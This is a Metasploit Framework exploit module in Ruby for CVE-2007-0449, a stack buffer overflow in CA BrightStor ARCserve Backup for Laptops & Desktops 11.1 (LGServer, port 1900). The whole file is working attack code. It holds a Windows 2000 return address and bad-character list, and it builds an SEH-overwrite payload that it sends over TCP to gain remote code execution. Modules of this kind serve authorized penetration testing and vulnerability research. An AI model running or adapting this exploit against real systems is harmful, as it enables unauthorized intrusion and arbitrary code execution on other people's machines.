Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = AverageRanking

        include Msf::Exploit::Remote::Tcp

        include Msf::Exploit::Remote::Seh

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',

                        'Description'    => %q{

                                        This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup

                                for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could

                                overflow the buffer and execute arbitrary code.

                        },

                        'Author'         => [ 'MC' ],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2007-0449' ],

                                        [ 'OSVDB', '31593' ],

                                        [ 'BID', '22342' ],

                                ],

                        'Privileged'     => true,

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'process',

                                },

                        'Payload'        =>

                                {

                                        'Space'    => 600,

                                        'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",

                                        'StackAdjustment' => -3500,

                                },

                        'Platform' => 'win',

                        'Targets'  =>

                                [

                                        [ 'Windows 2000 Pro English All',                { 'Ret' => 0x75022ac4 } ],

                                ],

                        'DisclosureDate' => 'Jan 31 2007',

                        'DefaultTarget' => 0))

                register_options(

                        [

                                Opt::RPORT(1900)

                        ], self.class)

        end

        def exploit

                connect

                filler = "0000016705" + rand_text_english(2322)

                seh    = generate_seh_payload(target.ret)

                sploit = filler + seh + "\x58" * 0x4141

                print_status("Trying target #{target.name}...")

                sock.put(sploit)

                handler

                disconnect

        end

end